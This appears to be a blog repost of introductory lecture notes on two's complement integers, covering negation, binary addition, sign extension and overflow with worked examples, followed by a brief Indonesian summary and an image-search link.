To get the additive inverse of a 2's complement integer,
1.     take the one's complement
2.     add 1
This 2-step operation that results in finding the additive inverse of a two's complement representation is also known as taking the two's complement.
  To add 1 without really knowing how to add:
    start at LSB, for each bit (working right to left)
      while the bit is a 1, change it to a 0.
      when a 0 is encountered, change it to a 1 and stop.
      All other remaining bits are the same as before.
Example:
What decimal value does the two's complement 110011 represent?
It must be a negative number, since the most significant bit (msb) is a 1. Therefore, find the additive inverse:

                 110011  (2's comp.  ?)

                 001100  (after taking the 1's complement)
                        + 1
                 ------
                 001101  (2's comp.  +13)

                 Therefore, its additive inverse (110011) must be -13.
A little bit on Adding
We'll see how to really do this later, but here's a brief overview.

            carry in  a  b   sum  carry out
               0      0  0    0    0
               0      0  1    1    0
               0      1  0    1    0
               0      1  1    0    1
               1      0  0    1    0
               1      0  1    0    1
               1      1  0    0    1
               1      1  1    1    1

       a      0011
      +b     +0001
      --     -----
     sum      0100

It is really just like we do for decimal!
0 + 0 = 0
1 + 0 = 1
1 + 1 = 2 which is 10 in binary, sum is 0 and carry the 1.
1 + 1 + 1 = 3 sum is 1, and carry a 1.
Prerequisite Material from 252 (Ends Here)

A Convenient Diagram
This diagram is a standard one that is used to point out the differences between a bit pattern (a representation), and the values represented by the bit pattern. This version of the number wheel gives all possibilities of 4-bit representations. For each representation, it also gives (in the outer circles) the decimal value represented by the bit pattern. Notice that positive two's complement values are exactly the same as the unsigned values. It is the bit patterns that have a 1 in the most significant bit position where the values represented differ.
 

Prerequisite Material from 252 (Starts Here)
Sign Extension
How to change an integer with a smaller number of bits into the same integer (same representation) with a larger number of bits.
This is commonly done on some architectures, so it is best to go over it.
By representation:
  • unsigned
·          xxxxx   becomes   000xxxxx
Copy the original integer into the LSBs, and put 0's elsewhere
  • 1's and 2's complement. Called sign extension.
    Copy the original integer into the LSBs, take the MSB of original integer and replicate it elsewhere.
Example:
                  0010101 ->  000 0010101
                       ^           ^^^
                      11110000 ->  11111111 11110000
                       ^            ^^^^^^^^
Prerequisite Material from 252 (Ends Here)

Overflow
Sometimes a value cannot be represented in the limited number of bits allowed. Examples:
    unsigned, 3 bits:    8 would require at least 4 bits (1000)
    2's comp., 4 bits:   8 would require at least 5 bits (01000)
When a value cannot be represented in the number of bits allowed, we say that overflow has occurred. Overflow occurs when doing arithmetic operations.
      example:          3-bit unsigned representation

                  011 (3)
                + 110 (6)
                ---------
                   ?  (9)     it would require 4 bits (1001) to represent
                                       the value 9 in unsigned rep.

Saya akan memberikan sedikit materi: 
Integer Representation di bagi menjadi 4 bagian di antara nya ada 1.     positive numbers only2.     positive and negative numbers3.     ease of human readability4.     speed of computer operations

https://www.google.com/search?q=integer+representation&newwindow=1&biw=1366&bih=667&source=lnms&tbm=isch&sa=X&ei=k0FWVJGYJNCouwTn9oLQAQ&ved=0CAgQ_AUoAQ